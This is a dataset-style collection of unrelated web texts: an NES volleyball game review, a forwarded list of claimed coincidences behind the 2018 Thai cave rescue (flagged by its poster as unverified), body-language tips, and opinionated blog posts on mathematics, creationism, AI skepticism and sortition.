id
stringlengths 50
55
| text
stringlengths 54
694k
|
|---|---|
global_01_local_0_shard_00002368_processed.jsonl/53405 | #343 – Kings of the Beach
Truly this cover deserves a proper burial in a New Mexico landfill.
Let the volleyball bro-down commence!
PLAYERS: 1-4 simultaneous
PUBLISHER: Ultra Games
GENRE: Sports
RELEASE DATE: January 1990
Beach please, Konami must have a mental disease! That crazy monolith of a company teamed up with Ultra Games (psst, they’re the same company – don’t tell Nintendo!) to give NES players perhaps the greatest volleyball game for the NES. When this game was released, the go-go ’90s were just around the corner. Kings of the Beach celebrates the end of a decade with some sun, shorts, and a whole lotta sand in your pants. Start off with a quick 2-on-2 match or, if you’re feeling frisky, hit up a tournament. The tournament is where the true money lies. Each stage will take you to different locales and face you off against different tough guys who think they have what it takes to best your almighty mack daddy team of Sinjen Smith and Randy Stoklos. The gameplay is the same whether you’re playing a match or a tournament: you serve, spike, block, and set up moves with your other partner. You can even argue totally bogus calls against the ref! Obviously, in a tournament, Smith and Stoklos need to bring their ‘A’ game. Might I suggest busting out the NES Four-Score to practice with some bro-dies? Virtual volleyball arguably doesn’t get much better than a bunch of dudes sitting around an NES. Some burgers, some beers, a few laughs. Just don’t go looking for pixelated chicks. This ain’t Queens of the Beach.
The following two tabs change content below.
Latest posts by Dylan Cornelius (see all) |
global_01_local_0_shard_00002368_processed.jsonl/53427 | Thai Cave Rescue – The Other Side of the Story
The world watched with bated breath as the last of the 12 boys and their soccer coach emerged from the cave in northern Thailand where they had been trapped by flood water. We heaved a collective sigh of relief as what could have been a disaster turned into a rescue operation with a miraculous happy ending.
My brother received a LINE message from his former classmate, a Thai Chinese who returned to Thailand soon after high school graduation. He offered another perspective into the whole incident which is not reported in western media. Some may call it coincidence, but to others it’s providence as too many things converge to attribute it to chance. I have no means of verifying whether this is “fake news” or not, but here are the points for you to ponder:
1. The 25-year-old soccer coach had lived 8 years as a monk, sometimes spending time alone meditating in caves as a spiritual discipline. There he learned how to get clean water which won’t cause sickness, and how to sit still to conserve energy. This was instrumental in keeping the boys alive when they underwent imposed fasting for nearly 10 days before they were discovered and food was delivered to them. And they were polite and orderly in total darkness!
2. By law the premier of the province Chiang Rai became the commander-in-chief of the rescue operation. He majored in geologic survey in university. His knowledge of land structures of the area was very helpful in planning the rescue.
3. The British cave diver John Volanthen who first found the missing boys said “I often wondered why I was so fascinated with cave diving. When I found the boys, I knew God had prepared me all my life to do this very thing!”
4. After the boys went missing for 10 days, British and other divers volunteered to fly to Chiang Rai to join the search and rescue effort. Several retired divers crawled and dived for hours trying to locate the kids in darkness. They had come to the end of the rescue rope they were carrying, so Volanthen emerged from the muddy water to observe his surroundings, and found 13 pairs of eyes staring at him. Had the rope run out 5 meters earlier or later, he would have missed the boys. God really has His own mysterious ways to perform miracles.
5. After the boys were found, the only English-speaking boy out of the entire group became the contact with the foreign divers. It turned out he was born in northern Burma, adopted by a Christian family, who provided for and schooled him such that he was fluent in 4 languages – Thai, Burmese, English and Putonghua. He became the fulcrum upon which communication turned.
6. After the rescue all 13 of them were sent to the nearest hospital for treatment and observation. It turned out about a year earlier a young Thai singer launched a charity event “One Person One Step” to walk from the southern to the northern tip of Thailand, a distance of about 3,000 km. The target was to raise 700 million Baht (about C$27 million) to equip 14 hospitals. 1.5 billion Baht (about C$59 million) were raised, with each hospital receiving about C$4.2 million. One of the recipients was the hospital to which the 13 were sent. Without that funding, they would not be equipped to serve the sudden influx of so many people. And the name of the singer? His nickname is “Wild Boar”, the same as the team of the 12 boys!
7. One more point about the coach. When photos of the 13 were broadcast on social media, people noticed that the coach looked particularly gaunt. It turned out that he gave all the food he had with him to the 12 boys, who did not bring anything as they had expected to spend only one hour to explore it, but were trapped by the monsoon flood. However, he was recognized by a woman in mainland China as her half-brother (same father, different mother) whom she had lost contact for 10 years. When the family broke up, her relatives brought her back to China, while her brother stayed in Thailand, but they lost contact. Later when she read her aunt’s message to her brother encouraging him to stay strong to protect the kids, she was sure it was him. She contacted the authorities and will be reunited with her half-brother, so the ordeal turned out to be a blessing in disguise.
|
global_01_local_0_shard_00002368_processed.jsonl/53438 | Body language: How can I look more approachable?
When we use body barriers, we signal to other people to leave us alone.
They make you look extremely unapproachable. For that reason, avoid things like folded arms. You might find that you’re clutching a handbag too tightly. If you have a drink, instead of holding it at a relaxed waist level you start to bring it up to your chin. Again, that creates a very strong barrier that implies to the other person that you would rather be left alone.
Use your eyes to signal approachability. When you’re in a room full of people, be careful about starring or looking at the floor. Scan the room with your eyes, which signals others that you’re you’re friendly and actively approachable.
Remember to smile with your eyes. Soften your expression. Sometimes when we get nervous our eyes just go into a vacant stare. If you smile with your eyes, people will know that you’re going to be friendly if they do come and speak to you.
Smiling with the mouth is an animal signal of introduction, it’s an evolutionary thing. Monkeys pull their lips back and show their teeth when they want to show that they’re not going to fight another ape. If you remember to smile nicely and do a nice even smile which will look genuine, people will know that you mean to be friendly.
Use what are called intentional gestures. They oil the wheels and make a communication easier. If you’re approaching somebody to shake hands, don’t just wait until you get up and just shove your hand out. Put your hand out from a distance and they’ll know that you’re going to shake hands and they’ll get their hand ready to respond. If you want to interrupt somebody when they’re speaking and you just raise your hand slightly that lets them know that you want to speak.
Be careful about using what are called self-comfort gestures. These are the fiddly things that we do when we start to feel anxious or under pressure. Don’t start twiddling with your hair, that will show your anxiety. Playing with things on chains or jewellery, it makes you look as though you don’t really want to speak to people. Watch out for what are called metronomic gestures where you tap something like a foot or a pen. They tend to let the other person know that you’re impatient and you can’t hang around to hear what they have to say. |
global_01_local_0_shard_00002368_processed.jsonl/53440 | Wednesday, November 28, 2018
The Only Map that Matters a moose map.
(Hat tip: J. C.)
Tuesday, October 16, 2018
Happy Quaternions Day
"Here as he walked by [in Dublin] on the 16th of October 1843 Sir William Rowan Hamilton in a flash of genius discovered the fundamental formula for quaternion multiplication i2 = j2 = k2 = ijk = -1 & cut it on a stone of this bridge."
It's the 175th anniversary.
Friday, October 05, 2018
Moose Fight
For Moose Friday, from CBC New Brunswick, a video of two male moose battling it out.
Monday, September 17, 2018
Numberphile Mentions Our Paper
You have to look really quickly, but the youtube channel numberphile briefly mentions our recent paper on sums of palindromes:
Our paper appears onscreen at 3:30.
Sunday, September 16, 2018
Columnists Go Ga-Ga Over Reagan Letter that Demonstrates What a Tool He Was
Karen Tumulty discovered a previously unpublished 1982 letter written by Ronald Reagan to his father-in-law, Loyal Davis, shortly before Davis's death. She, like many other columnists, think this illustrates what a wonderful guy Reagan was. Michael Gerson gushed, "This letter is remarkable and revealing. I am so grateful that Karen found it." Peter Wehner called it a "rather remarkable/moving historical document". Ron Fournier sighed, "What a beautiful letter". Glenn Kessler said, "Such a remarkable find. Pause the Twitter feuds for a moment and glimpse the personal faith of a president."
I think it's an interesting find, but not for the reasons that Tumulty et al. do. I think it illustrates at least three significant deficiencies in Reagan's character that many in the public don't know about (but anyone who followed his career closely knows all too well).
First, Reagan was just not that bright, and showed signs of senility in his second term. As Jonathan Chait wrote,
Lou Cannon’s biography describes President Reagan frequently misidentifying members of his own Cabinet, describing movie scenes as though they were real, changing his schedule in order to follow the advice of an astrologer, and bringing up a science-fiction movie, in which aliens cause the Soviets and Americans to come together, with such frequency that Colin Powell would joke to his staffers, “Here come the little green men again.” As Cannon concluded, “The sad, shared secret of the Reagan White House was that no one in the presidential entourage had confidence in the judgment or the capacities of the president.”
The letter confirms it. Reagan didn't know the difference between "prophesy" (the verb) and "prophecy" (the noun), and thought the correct plural was "prophesys".
Second, Reagan never let actual facts get in the way of a good story. Truth was unimportant to him. Again, anyone who's actually followed his career already knows this, but the general public doesn't -- they saw him as a genial, reliable grandfather figure. But as Stephen Greenspan wrote in Annals of Gullibility:
Many of these stories [of Reagan] were embellished or, quite typically, completely made up. One example is a story Reagan told about a football game between his high school from Dixon, Illinois, and a rival team from Mendota. In this story, the Mendota players yelled for a penalty at a crucial point in the game. The official had missed the play and asked Reagan what had happened. Reagan's sense of sports ethics required him to tell the truth, Dixon was penalized, and went on to lose the game by one touchdown. Wonderful story, except that it never happened.
This aspect of Reagan's character is also illustrated in the letter. He refers to "one hundred and twenty three specific prophesys [sic] about his [Jesus'] life all of which came true."
The claim that aspects of Jesus' life were correctly and miraculously foretold is a common one among Christian evangelicals. Oddly enough, however, the specific number of fulfilled prophecies varies widely from author to author. A google search gives "more than 300", "over 400", "hundreds", "191", "68", and many similar claims. However, most of these so-called prophecies can be dismissed right away because (a) they were not prophecies or (b) they actually referred to something other than Jesus or (c) they were extremely obscure or vague or (d) their correctness is seriously disputed.
The few that remain that might well be true because Jesus (assuming he existed) deliberately chose to take actions based on what the Old Testament said. In this case, the prophecy is correct, but not for any miraculous reason.
And of course, the value of true prophecies is negated by the prophecies that were falsified. One of the most important of Jesus' predictions -- (in Matthew 24) "Verily I say unto you, This generation shall not pass, till all these things be fulfilled." -- was falsified. None of the things Jesus claimed would happen occurred in the generation after his lifetime. The amount of ink Christians have expended trying to excuse this failed prophecy could probably fill a dozen swimming pools.
I doubt very much that Reagan investigated his 123 claims. He was not a scholar or expert in the Bible. Almost certainly he was just repeating some claim he had once heard -- this would be in line with other stories about Reagan, who had a large number of half-remembered quips and anecdotes he liked to relate, without concern for whether they were true.
Third --- and this is the most damning for me --- what the letter illustrates is the willingness of Reagan to take advantage of someone's pain and suffering to ram his religious beliefs down the throat of a dying man. Civilized people do not expect others to share their religious beliefs, and do not evangelize to vulnerable people. It is rude and it is grotesque and it is contemptible.
If, dear reader, you are a Christian and you have trouble understanding my point of view, let us try a thought experiment. Suppose you were on your deathbed, and you were very worried because, in your religion, the sins you know that you committed would likely condemn you to an afterlife of eternal damnation. Suppose I, your atheist relative, tried to console you by saying, "Look, your beliefs about Hell are all nonsense. You are not going to experience eternal damnation because THERE IS NO HELL. No heaven, either, by the way." Would you be grateful? My guess is no, but rest assured -- I would not do such a thing.
There are other aspects of Reagan's character on exhibit in his letter -- a lack of judgment, a deficiency of skepticism, and an overwhelming gullibility. But I think I've said enough: the letter is an appalling document. The fact that people celebrate it as praiseworthy indicates a fundamental sickness at the heart of modern Christian America.
Monday, September 10, 2018
I Did Warn You
When I read the latest dreck from the "Walter Bradley Center for Natural and Artificial Intelligence", all I could think was: I did warn you.
Of course, it didn't really take that much cleverness. The "Center" is a project of the Discovery Institute, a think tank so committed to dissembling about evolution that it's often been called the "Dishonesty Institute". And, as I pointed out, the folks working at the "Center" aren't exactly luminaries in the area they purport to critique.
This latest column is by Michael Egnor, a surgeon whose arrogance (as we've seen many times before) is only exceeded by his ignorance. Despite knowing nothing about computer science, Egnor tries to explain what machine learning is. The results are laughable.
Egnor starts by making an analogy between a book and a computer. He says a book "is a tool we use to store and retrieve information, analogous in that respect to a computer". But this comparison misses the single most essential feature of a computer: it doesn't just store and retrieve information, it processes it. A book made of paper typically does not; the words are the same each time you look at it.
Egnor goes on to construct an analogy where the book's binding cracks preferentially where people use it. But to be a computer you need more kinds of processing capabilities than cracked bindings. Not just any processing; there's a reason why machines like the HP-35, despite their ability to do trig functions and exponentials, were called "calculators" and not "computers". To be genuinely considered a "computer", a machine should be able to carry out basic operations such as comparisons and conditional branching. And some would say that a computer isn't a real computer until it can simulate a Turing machine. A book with a cracked binding isn't even close.
Egnor goes on to elaborate on his confusion. "The paper, the glue, and the ink are the book's hardware. The information in the book is the software." Egnor clearly doesn't understand computers! Software specifies actions to be taken by the computer, as a list of commands. But a book doesn't typically specify any actions, and if it does, those actions are not carried out by the "paper" or "glue" or "ink". If anything carries out those actions, it is the reader of the book. So the book's hardware is actually the person reading the book. Egnor's analogy is all wrong.
Egnor claims that computers "don't have minds, and only things with minds can learn". But he doesn't define what he means by "mind" or "learn", so we can't evaluate whether this is true. Most people who actually work in machine learning would dispute his claim. And Egnor contradicts himself when he claims that machine learning programs "are such that repeated use reinforces certain outcomes and suppresses other outcomes", but that nevertheless this isn't "learning". Human learning proceeds precisely by this kind of process, as we know from neurobiology.
Finally, Egnor claims that "it is man, and only man, who learns". This will be news to the thousands of researchers who study learning in animals, and have done so for decades.
When a center is started by people with a religious axe to grind, and staffed by people who know little about the area they purport to study, you're guaranteed to get results like this. Computer scientists have a term for this already: GIGO.
Sunday, September 09, 2018
Robert Marks: Four Years and Still No Answer -- and More Baylor Hijinks
Once upon a time, the illustrious Baylor professor Robert Marks II made the following claim: "we all agree that a picture of Mount Rushmore with the busts of four US Presidents contains more information than a picture of Mount Fuji".
I don't agree, so I asked the illustrious Marks for a calculation or other rationale supporting this claim.
After three months, no reply. So I asked again.
After six months, no reply. So I asked again.
After one year, no reply. So I asked again.
After two years, no reply. So I asked again.
After three years, no reply. So I asked again.
Now it's been four years. Still no reply.
The illustrious Marks also recently supervised a Ph. D. thesis of Eric Michael Holloway. In it, the author apparently makes some dubious claims. He claims that "meaningful information...cannot be made by anything deterministic or stochastic". But if you want to actually read this Ph. D. thesis and learn how this startling claim is proven, you're out of luck. And why is that? It's because Eric Holloway has imposed a 5-year embargo on his thesis, meaning that no one can read it for five years, unless Eric Holloway approves. And when I asked to see a copy, I was refused.
Now, if there were some shenanigans going on -- for example, if a Ph. D. thesis were of such low quality that you wouldn't want anyone else to know about it -- what better way to hide that fact than to impose a ridiculously lengthy embargo? Perhaps an embargo so long that the supervisor would be safely retired by then and not subject to any investigation or sanction?
Then again, perhaps Eric Holloway is just following the example of his illustrious supervisor, who is adept at ducking questions for years.
Sunday, August 26, 2018
Creationist Physicist Doesn't Understand Mathematics, Either
If there's one consistent aspect of creationism, it's that people lacking understanding and training are put forth as experts. Here we have yet another example, from the creationist blog Uncommon Descent. There physicist Rob Sheldon is quoted as saying
THere [sic] can even be uncertainty in mathematics. For example, mathematicians in the 1700’s kept finding paradoxes in mathematics, which you would have thought was well-defined. For example, what is the answer to this infinite sum: 1+ (-1) + 1 + (-1) …? If we group them in pairs, then the first pair =>0, so the sum is: 0+0+0… = 0. But if we skip the first term and group it in pairs, we get 1 + 0+0+0… = 1. So which is it?
Mathematicians call these “ill-posed” problems and argue that ambiguity in posing the question causes the ambiguity in the result. If we replace the numbers with variables, do some algebra on the sum, we find the answer. It’s not 0 and it’s not 1, it’s 1/2. By the 1800’s a whole field of convergence criteria for infinite sums was well-developed, and the field of “number theory” extended these results for non-integers etc. The point is that a topic we thought we had mastered in first grade–the number line–turned out to be full of subtleties and complications.
Nearly every statement of Sheldon here is wrong. And not just wrong -- wildly wrong, as in "I have absolutely no idea of what I'm talking about" wrong.
1. Uncertainty in mathematics has nothing to do with the kinds of "infinite sums" Sheldon cites. "Uncertainty" can refer to, for example, the theory of fuzzy sets, or the theory of undecidability. Neither involves infinite sums like 1 + (-1) + 1 + (-1) ... .
2. Ill-posed problems have nothing to do with the kind of infinite series Sheldon cites. An ill-posed problem is one where the solution depends strongly on initial conditions. The problem with the infinite series is solely one of giving a rigorous interpretation of the symbol "...", which was achieved using the theory of limits.
3. The claim about replacing the numbers with "variables" and doing "algebra" is incorrect. For example if you replace 1 by "x" then the expression x + (-x) + x + (-x) + ... suffers from exactly the same sort of imprecision as the original. To get the 1/2 that Sheldon cites, one needs to replace the original sum with 1/x - 1/x^2 + 1/x^3 - ..., then sum the series (using the definition of limit from analysis, not algebra) to get x/(1+x) in a certain range of convergence that does not include x=1, and then make the substitution x = 1.
4. Number theory has virtually nothing to do with infinite sums of the kind Sheldon cites -- it is the study of properties of integers -- and has nothing to do with extending results on infinite series to "non-integers etc."
It takes real talent to be this clueless.
Sunday, July 22, 2018
History Quiz
This American president's library contains many books on religion, but it also contains a copy of Darwin's Origin of Species.
Which American president is it?
Friday, July 13, 2018
Discovery Institute Branches Out Into Comedy
That wretched hive of scum and villainy, the Discovery Institute, has announced that its nefarious tentacles have snagged a new venture: a situation comedy called the "Walter Bradley Center for Natural and Artificial Intelligence".
Walter Bradley, as you may recall, is the engineering professor and creationist who, despite having no advanced training in biology, wrote a laughably bad book on abiogenesis. Naming the "center" after him is very appropriate, as he's never worked in artificial intelligence and, according to DBLP, has no scientific publications on the topic.
And who was at the kick-off for the "center"? Why, the illustrious Robert J. Marks II (who, after nearly four years, still cannot answer a question about information theory), William Dembski (who once published a calculation error that resulted in a mistake of 65 orders of magnitude), George Montañez, and (wait for it) ... Michael Egnor.
Needless to say, none of these people have any really serious connection to the mainstream of artificial intelligence. Egnor has published exactly 0 papers on the topic (or any computer science topic), according to DBLP. Dembski has a total of six entries in DBLP, some of which have a vague, tangential relationship to AI, but none have been cited by other published papers more than a handful of times (other than self-citations and citations from creationists). Marks has some serious academic credentials, but in a different area. In the past, he published mostly on topics like signal processing, amplifiers, antennas, information theory, and networks; lately, however, he's branched out into publishing embarrassingly naive papers on evolution. As far as I can tell, he's published only a small handful of papers that could, generously speaking, be considered as mainstream artificial intelligence, none of which seem to have had much impact. Montañez is perhaps the exception: he's a young Ph. D. who works in machine learning, among other things. He has one laughably bad paper in AI, about the Turing test, in an AI conference, and another one in AAAI 2015, plus a handful in somewhat-related areas.
In contrast, take a look at the DBLP record for my colleague Peter van Beek, who is recognized as a serious AI researcher. See the difference?
Starting a center on artificial intelligence with nobody on board who would be recognized as a serious, established researcher in artificial intelligence? That's comedy gold. Congrats, Discovery Institute!
Saturday, March 03, 2018
Who's the Comedian?
I wrote a joke that was once voted the funniest religious joke of all time. This what I looked like in high school.
Who am I?
Friday, February 16, 2018
The World's Best Job: Moose Rescue
Snowmobilers worked together to free a stuck moose last month in Newfoundland.
"We knew the moose was stuck really good," one said.
And a trucker saved a moose in British Columbia.
After I retire, that's the job for me!
Hat tip: A. L.
Sunday, February 11, 2018
Yet Another Baseless Claim about Consciousness
If I live long enough, I'm planning to write a book entitled "The 100 Stupidest Things Anyone Ever Said About Minds, Brains, Consciousness, and Computers". Indeed, I've been collecting items for this book for some time. Here's my latest addition: Michael S. Gazzaniga, a famous cognitive neuroscientist who should know better, writes:
If you accept that the brain functions computationally (and I think the evidence for it is very strong) then this is, of course, utter nonsense. It was the great insight of Alan Turing that computing does not depend in any significant way on the underlying substrate where the computing is being done. Whether the computer is silicon-based or carbon-based is totally irrelevant. This is the kind of thing that is taught in any third-year university course on the theory of computation.
The claim is wrong in other ways. It is not the case that "silicon-based machines" must work with a "deterministic set of instructions". Some computers today have access to (at least in our current physical understanding) a source of truly random numbers, in the form of radioactive decay. Furthermore, even the most well-engineered computing machines sometimes make mistakes. Soft errors can be caused, for example, by cosmic rays or radioactive decay.
Furthermore, Dr. Gazzaniga doesn't seem to recognize that if "some degree of uncertainty" is useful, this is something we can simulate with a program!
Sunday, February 04, 2018
The Sortition Solution: Representation by Randomly-Chosen Representatives
The US political system is clearly broken. To name just a few problems:
• the legislative agenda is largely driven, not by citizen need, but by lobbyists and special interests that can afford large political contributions;
• corruption is rampant;
• the budget never gets balanced because existing funded items have strong special interest support;
• new budget items get added (but rarely removed) by special interests;
• special interests consistently block action where there is widespread public support (e.g., gun control);
• political parties induce a tribalist "us vs. them" mentality that leads to gridlock and an inability to deal with corruption within a party;
• minority political viewpoints (Greens, for example) rarely get elected because they cannot achieve a majority in their district;
• representatives are typically chosen from a small number of professions (e.g., law), while other sorts of expertise (e.g., science) are not adequately represented;
• almost all representatives are Christians; atheists and other minority religious viewpoints are wildly under-represented;
• incumbents have a huge advantage over challengers, even when they are clearly unfit;
• women and minorities are wildly under-represented;
• rural voters and interests are over-represented;
• instead of being seen as employees doing the work of citizens, representatives become media celebrities in their own right;
• legislators are extremely reluctant to address controversial issues, for fear of being voted out in the next election;
• first-past-the-post voting means that candidates that most voters dislike are often elected.
Proportional representation is often proposed as a solution to some of these problems. In the most typical version of proportional representation --- party-list --- you vote for a party, not a candidate, and representatives are then chosen from a list the party provides. But this doesn't resolve the corruption and tribalism problems embodied in the first few items on my list.
My solution is exotic but simple: sortition, or random representation. Of course, it's not original with me: we use sortition today to form juries. But I would like to extend it to all legislative bodies.
Support for sortition comes from all parts of the political spectrum; William F. Buckley, Jr., for example, once said, "I am obliged to confess that I should sooner live in a society governed by the first two thousand names in the Boston telephone directory than in a society governed by the two thousand faculty members of Harvard University."
Here is a brief outline of how it would work. Legislators would be chosen uniformly and randomly from a universal, publicly-available list; perhaps a list of all registered voters.
In each election period (say 2-5 years), a random fraction of all representatives would be completely replaced, perhaps 25-50%. This would allow some institutional memory and expertise to be retained, while insuring that incumbents do not have enough time to build up fiefdoms that lead to corruption.
Sortition could be phased in gradually. For the first 10 years, sortition could be combined with a traditional electoral system, in some proportion that starts small and eventually completely replaces the traditional electoral system. This would increase public confidence in the change, as well as avoiding the problem of a "freshman class" that would be completely without experience.
I suggest that we start with small state legislatures, such as New Hampshire, as an experiment. Once the experiment is validated (and I think it would be) it could move to replace the federal system.
Most of the problems I mentioned above would be resolved, or greatly reduced in scope.
The new legislative body would be truly representative of the US population: For example, about 50% of legislators would be women. About 13% would be black, 17% Hispanic or Latino, and 5% Asian. About 15% would be atheists, agnostics, humanists, or otherwise religiously unaffiliated.
Issues would be decoupled from parties: Right now, if you vote for the Republicans, you get lower taxes and restrictions on abortion. What if you support one but not the other? There is no way to express that preference.
Difficult legislative choices will become easier: Experiments have shown over and over that balancing the federal budget -- traditionally one of the most difficult tasks in the existing system -- turns out to be a brief and relatively trivial exercise for non-partisan citizen groups. (Here's just one such example.) Sortition would resolve this thorny problem.
One significant motivation for corruption -- getting donations for re-election -- would essentially disappear. Of course, there would be other opportunities for corruption (there always are), but at least one would be gone.
A diverse elected body would be able to consider issues from a wide variety of different perspectives. Effective action could be taken where there is widespread public support (e.g., gun control).
Objections answered
People will not want to serve: We would pay them very well -- for example, $250,000 per year. We would enact a law requiring employers to release representatives from the employment with a guarantee of re-employment after their term is over. If someone refuses to serve, we'd just move to the next person on the random list.
Sortition will produce stupid, incompetent, and dishonest representatives: Very true. Some will be stupid, some will be incompetent, and some will be dishonest. But this is also true for the existing system. (Have you ever seen Louis Gohmert being interviewed?) In my view, those with genuine expertise and leadership ability will naturally be seen as leaders by others and acquire some influence within the chamber. Stupid and incompetent people will quickly be recognized for what they are and will not have as much influence in the legislative agenda.
The public will not have trust in the selection process: Trust is a genuine issue; people will naturally distrust a new system. That's one reason to phase it in gradually. Mathematicians and theoretical computer scientists know a lot about how to sample randomly; whatever specific method is chosen would be open-source and subject to scrutiny. To make a truly random choice even more convincing, a combination of different methods could be used. For example, we could use algorithmic methods to choose a sample of (say) a thousand names. Then we could use physical means (for example, the ping-pong balls used for lotteries) to choose 200 names of the legislators from this group.
The legislative agenda will not be clear: Political parties offer a legislative agenda with priorities, but where will the agenda come under sortition? My answer is that the major issues of the day will generally be clear. For example, today's issues include anthropogenic global warming, terrorism, immigration, wage stagnation, and health care, to name just five. These are clear issues of concern that can be seen without the need of a political party's ideology. The existing federal and state bureaucracies -- civil servants -- will still be there to offer expertise.
People will feel like they have no voice: Without elections, how do people feel their voice is heard? Another legitimate objection. This suggests considering some sort of mixed system, say, with 50% of representatives chosen by sortition and 50% chosen by election. Or perhaps two different legislative bodies, one based on sortition and one based on election. We have to be willing to experiment and innovate.
Sortition should be seriously considered.
Friday, February 02, 2018
Doug Hofstadter, Flight, and AI
Douglas Hofstadter, author of the fascinating book, Gödel, Escher, Bach, is someone I've admired for a long time, both as an expositor and an original thinker.
But he goes badly wrong in a few places in this essay in the Atlantic Monthly. Actually, he's said very similar things about AI in the past, so I am not really that surprised by his views here.
Hofstadter's topic is the shallowness of Google Translate. Much of his criticism is on the mark: although Google Translate is extremely useful (and I use it all the time), it is true that it does not usually match the skills of the best human translators, or even good human translators. And he makes a strong case that translation is a difficult skill because it is not just about language, but about many facets of human experience.
(Let me add two personal anecdotes. I once saw the French version of Woody Allen's movie Annie Hall. In the original scene, Alvy Singer (Woody Allen) is complaining that a man was being anti-semitic because he said "Did you eat?" which Alvy mishears as "Jew eat?". This was translated as "Tu viens pour le rabe?" which Woody Allen conflates with "rabbin", the French word for "rabbi". The translator had to work at that one! And then there's the French versions of the Harry Potter books, where the "Sorting Hat" became the "Choixpeau", a truly brilliant invention on the part of the translator.]
But other things Hofstadter says are just ... wrong. Or wrong-headed. For example, he says, "The bailingual engine isn't reading anything--not in the normal human sense of the verb 'to read.' It's processing text." This is exactly the kind of complaint people made about the idea of flying machines: "A flying machine isn't flapping its wings, so it cannot be said to fly in the normal human understanding of how birds fly." [not an actual quote] Of course a computer doesn't read the way a human does. It doesn't have an iris or a cornea, it doesn't use its finger to turn the page or make the analogous motion on a screen, and it doesn't move its lips or write "How true!" in the margins. But what does that matter? No matter what, computer translation is going to be done differently from the exact way humans do it. The telling question is, Is the translation any good? Not, Did it translate using exactly the same methods and knowledge a human would? To be fair, that's most of his discussion.
As for "It's processing text", I hardly see how that is a criticism. When people read and write and speak, they are also "processing text". True, they process text in different ways than computers do. People do so, in part, taking advantage of their particular knowledge base. But so does a computer! The real complaint seems to be that Google Translate doesn't currently have access to, or use extensively, the vast and rich vault of common-sense and experiential knowledge that human translators do.
Hofstadter says, "Whenever I translate, I first read the original text carefully and internalize the ideas as clearly as I can, letting them slosh back and forth in my mind. It's not that the words of the original are sloshing back and forth; it's the ideas that are triggering all sorts of related ideas, creating a rich halo of related scenarios in my mind. Needless to say, most of this halo is unconscious. Only when the halo has been evoked sufficiently in my mind do I start to try to express it--to 'press it out'--in the second language. I try to say in Language B what strikes me as a natural B-ish way to talk about the kinds of situations that constitute the halo of meaning in question.
"I am not, in short, moving straight from words and phrases in Language A to words and phrases in Language B. Instead, I am unconsciously conjuring up images, scenes, and ideas, dredging up experiences I myself have had (or have read about, or seen in movies, or heard from friends), and only when this nonverbal, imagistic, experiential, mental 'halo' has been realized—only when the elusive bubble of meaning is floating in my brain--do I start the process of formulating words and phrases in the target language, and then revising, revising, and revising."
That's a nice -- albeit maddeningly vague -- description of how Hofstadter thinks he does it. But where's the proof that this is the only way to do wonderful translations? It's a little like the world's best Go player talking about the specific kinds of mental work he uses to prepare before a match and during it ... shortly before he gets whipped by AlphaGo, an AI technology that uses completely different methods than the human.
Hofstadter goes on to say, "the technology I've been discussing makes no attempt to reproduce human intelligence. Quite the contrary: It attempts to make an end run around human intelligence, and the output passages exhibited above clearly reveal its giant lacunas." I strongly disagree with the "end run" implication. Again, it's like viewing flying as something that can only be achieved by flapping wings, and propellers and jet engines are just "end runs" around the true goal. This is a conceptual error. When Hofstadter says "There's no fundamental reason that machines might not someday succeed smashingly in translating jokes, puns, screenplays, novels, poems, and, of course, essays like this one. But all that will come about only when machines are as filled with ideas, emotions, and experiences as human beings are", that is just an assertion. I can translate passages about war even though I've never been in a war. I can translate a novel written by a woman even though I'm not a woman. So I don't need to have experienced everything I translate. If mediocre translations can be done now without the requirements Hofstadter imposes, there is just no good reason to expect that excellent translations can't be eventually be achieved without them, at least in the same degree that Hofstadter claims.
I can't resist mentioning this truly delightful argument against powered mechanical flight, as published in the New York Times:
The best part of this "analysis" is the date when it was published: October 9, 1903, exactly 69 days before the first successful powered flight of the Wright Brothers.
Hofstadter writes, "From my point of view, there is no fundamental reason that machines could not, in principle, someday think, be creative, funny, nostalgic, excited, frightened, ecstatic, resigned, hopeful...".
But they already do think, in any reasonable sense of the word. They are already creative in a similar sense. As for words like "frightened, ecstatic, resigned, hopeful", the main problem is that we cannot currently articulate in a suitably precise sense what we exactly mean by them. We do not yet understand our own biology enough to explain these concepts in the more fundamental terms of physics, chemistry, and neuroanatomy. When we do, we might be able to mimic them ... if we find it useful to do so.
Addendum: The single most clueless comment to Hofstadter's piece is this, from "Steve": "Simple common sense shows that [a computer] can have zero "real understanding" in principle. Computers are in the same ontological category as harmonicas. They are *things*. As in, not alive. Not conscious. Furthermore the whole "brain is a machine" thing is a *belief* based on pure faith. Nobody on earth has the slightest idea how consciousness actually arises in a pile of meat. Reductive materialism is fashionable today, but it is no less faith-based than Mormonism."
Needless to say, this is just the opposite of what I hold.
Friday, January 26, 2018
Just Your Usual Friday Moose Standing on a Car
Apparently the photo is from Alaska and not Maine.
Hat tip: F. R.
Monday, January 15, 2018
Yet More Incoherent Thinking about AI
I've written before about how sloppy and incoherent a lot of popular writing about artificial intelligence is, for example here and here -- even by people who should know better.
Here's yet another example, a a letter to the editor published in CACM (Communications of the ACM).
The author, a certain Arthur Gardner, claims "my iPhone seemed to understand what I was saying, but it was illusory". But nowhere does Mr. Gardner explain why it was "illusory", nor how he came to believe Siri did not really "understand", nor even what his criteria for "understanding" are.
He goes on to claim that "The code is clever, that is, cleverly designed, but just code." I am not really sure how a computer program can be something other than what it is, namely "code" (jargon for "a program"), or even why Mr. Gardner thinks this is a criticism of something.
Mr. Gardner states "Neither the chess program nor Siri has awareness or understanding". But, lacking rigorous definitions of "awareness" or "understanding", how can Mr. Gardner (or anyone else) make such claims with authority? I would say, for example, that Siri does exhibit rudimentary "awareness" because it responds to its environment. When I call its name, it responds. As for "understanding", again I say that Siri exhibits rudimentary "understanding" because it responds appropriately to many of my utterances. If I say, "Siri, set alarm for 12:30" it understands me and does what I ask. What other meanings of "awareness" and "understanding" does Mr. Gardner appeal to?
Mr. Gardner claims "what we are doing --- reading these words, asking maybe, "Hmmm, what is intelligence?" is something no machine can do." But why? It's easy to write a program that will do exactly that: read words and type out "Hmmm, what is intelligence?" So what, specifically, is the distinction Mr. Gardner is appealing to?
He then says, "That which actually knows, cares, and chooses is the spirit, something every human being has. It is what distinguishes us from animals and from computers." First, there's the usual "actually" dodge. It never matters to the AI skeptic how smart a computer is, it is still never "actually" thinking. Of course, what "actual" thinking is, no one can ever tell me. Then there's the appeal to the "spirit", a nebulous, incoherent thingy that no one has ever shown to exist. And finally, there's the absurd claim that whatever a "spirit" is, it's lacking in animals. How does Mr. Gardner know that for certain? Has he ever observed any primates other than humans? They exhibit, as we can read in books like Chimpanzee Politics, many of the same kinds of "aware" and "intelligent" behaviors that humans indulge in.
